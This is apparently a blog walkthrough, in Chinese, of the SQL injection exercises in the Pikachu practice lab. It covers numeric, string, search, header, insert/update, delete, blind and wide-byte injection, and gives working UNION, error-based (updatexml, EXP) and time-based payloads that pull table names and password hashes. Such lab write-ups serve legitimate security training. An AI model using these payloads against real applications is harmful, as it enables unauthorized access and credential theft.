Pikachu靶场SQL注入刷题记录

数字型注入

0x01

burp抓包,发送至repeater
后面加and 1=1,and 1=2 可判断存在注入
Pikachu靶场SQL注入刷题记录

0x02

通过order by判断字段数,order by 2 和order by 3 返回结果不同,可得字段数为2
Pikachu靶场SQL注入刷题记录

0x03

查看表名:
union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()
Pikachu靶场SQL注入刷题记录

0x04

查询users表中的数据:
union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users‘
Pikachu靶场SQL注入刷题记录

0x05

查询数据:
union select 1,username from users
union select 1,password from users
Pikachu靶场SQL注入刷题记录
Pikachu靶场SQL注入刷题记录

字符型注入

0x01

加单引号报错,‘--+ 返回正常,可判断存在字符型注入
Pikachu靶场SQL注入刷题记录

0x02

通过上题可知有两个字段
查询表名:
‘ union select 1,group_concat(table_name) from information_schema.tables where table_schema = database()--+
Pikachu靶场SQL注入刷题记录

0x03

查询users表中的数据:
‘ union select 1,group_concat(column_name) from information_schema.columns where table_name = ‘users‘--+
Pikachu靶场SQL注入刷题记录

0x04

查询数据:
‘ union select 1,username from users--+
‘ union select 1,password from users--+
Pikachu靶场SQL注入刷题记录
Pikachu靶场SQL注入刷题记录

搜索型注入

0x01

单引号报错,判断字段
‘ order by 3#时正常,‘ order by 4#时不正常
Pikachu靶场SQL注入刷题记录

0x02

已经知道含有users表,直接查列名
‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name = ‘users‘#
Pikachu靶场SQL注入刷题记录
Pikachu靶场SQL注入刷题记录

0x03

查password数据
‘ union select 1,2,password from users#
Pikachu靶场SQL注入刷题记录

XX型注入

0x01

输入单引号,得到报错信息
Pikachu靶场SQL注入刷题记录

可以看到有个)符号,那么sql语句中前面一定有个(符号,所以要将前面闭合,后面注释掉

0x02

输入‘)#,抓包repeater放包
Pikachu靶场SQL注入刷题记录

0x03

判断字段
%27)+order+by+2%23,回显正常
Pikachu靶场SQL注入刷题记录

%27)+order+by+3%23,回显不正常,字段数为2
Pikachu靶场SQL注入刷题记录

0x04

已知users表,查列名
%27)+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=‘users‘%23
Pikachu靶场SQL注入刷题记录

0x05

查密码
%27)+union+select+1,password+from+users%23
Pikachu靶场SQL注入刷题记录

insert/update注入

0x01

点击注册,用户名密码输入如下
Pikachu靶场SQL注入刷题记录

提交返回
Pikachu靶场SQL注入刷题记录

根据报错可推断前面sql语句大概是这样value(‘xxx‘,1,2,3,4,5)

0x02

使用updatexml()进行报错注入
‘ or updatexml(1,concat(0x7e,(SELECT password from users limit 0,1),0x7e),0) or ‘
Pikachu靶场SQL注入刷题记录

Updatexml只能注出32位字符,缺少一位字符,所以改用其他函数
经测试extractvalue()函数也是一样,再换其他函数

0x03

使用EXP函数时成功注出md5
‘ or EXP(~(SELECT * from(select @@version)a)) or ‘
‘ or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or ‘
Pikachu靶场SQL注入刷题记录

‘ or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = ‘users‘)a)) or ‘
Pikachu靶场SQL注入刷题记录

‘ or EXP(~(SELECT * from(select password from users limit 0,1)a)) or ‘
Pikachu靶场SQL注入刷题记录

Delete注入

0x01

单引号报错
Pikachu靶场SQL注入刷题记录

0x02

这种id的值一般都是数字型注入
+or+EXP(~(SELECT+*+from(@version)a))
Pikachu靶场SQL注入刷题记录

最终payload:+or+EXP(~(SELECT+*+from(select+password+from+users+limit+0,1)a))
Pikachu靶场SQL注入刷题记录

HTTP Header注入

0x01

提示给了账号密码
Pikachu靶场SQL注入刷题记录

登录进去

0x02

刷新,抓包
Pikachu靶场SQL注入刷题记录

可以看到Cookie中含有ant[uname]=admin,怀疑此处可能存在与数据库交互,因此加单引号进行验证
Pikachu靶场SQL注入刷题记录

发现报错,因此,使用报错注入语句

0x03

‘+or+EXP(~(SELECT+*+from(@version)a))+or+‘
Pikachu靶场SQL注入刷题记录

‘ or EXP(~(SELECT * from(select group_concat(table_name) from information_schema.tables where table_schema = database())a)) or ‘
Pikachu靶场SQL注入刷题记录

‘ or EXP(~(SELECT * from(select group_concat(column_name) from information_schema.columns where table_name = ‘users‘)a)) or ‘
Pikachu靶场SQL注入刷题记录

‘ or EXP(~(SELECT * from(select password from users limit 0,1)a)) or ‘
Pikachu靶场SQL注入刷题记录

盲注(boolian)

0x01

首先要知道一个用户名(真实环境可自己注册一个)
lili‘ and 1=1#
Pikachu靶场SQL注入刷题记录

lili‘ and 1=2#
Pikachu靶场SQL注入刷题记录

可判断存在注入

0x02

paylaod:lili‘ and substr(database(),1,1)=‘字母‘#
对数字进行爆破
Pikachu靶场SQL注入刷题记录

第一个字母为p
再对第二位进行爆破
lili‘ and substr(database(),2,1)=‘字母‘#
Pikachu靶场SQL注入刷题记录

第二个字母为i
按此方式一位一位进行爆破,可得数据库名为pikachu

盲注(time)

0x01

首先要知道一个用户名(真实环境可自己注册一个)
lili‘ and sleep(10)#

10s左右才响应,可判断存在时间盲注(或者F12看响应时间)

0x02

爆破数据库名
lili‘ and if(substr(database(),1,1)=‘字母‘,sleep(5),1)#
对字母进行爆破,爆破第一个字母
爆破后将Columns--Response received选中,可看到响应时间
Pikachu靶场SQL注入刷题记录
Pikachu靶场SQL注入刷题记录

第一个字母为p
爆破第二个字母
lili‘ and if(substr(database(),2,1)=‘字母‘,sleep(5),1)#
Pikachu靶场SQL注入刷题记录

得到第二个为i
以此类推,得出数据库名为pikachu

宽字节注入

0x01

抓包在burp中操作
1%df%27+or+1=1#
Pikachu靶场SQL注入刷题记录

0x02

判断字段数
1%df%27+union+select+1,2#
Pikachu靶场SQL注入刷题记录

1%df%27+union+select+1,2,3#
Pikachu靶场SQL注入刷题记录

字段数为2

0x03

查表名
1%df%27+union+select+1,group_concat(table_name)+from+information_schema.tables+where+table_schema=database()#
Pikachu靶场SQL注入刷题记录

0x04

查列名
1%df%27+union+select+1,group_concat(column_name)+from+information_schema.columns+where+table_name=0x7573657273#
(0x7573657273为users的16进制编码)
Pikachu靶场SQL注入刷题记录

0x05

查数据
1%df%27+union+select+1,password+from+users#
Pikachu靶场SQL注入刷题记录

更多技术文章请关注Timeline Sec公众号
Pikachu靶场SQL注入刷题记录

相关推荐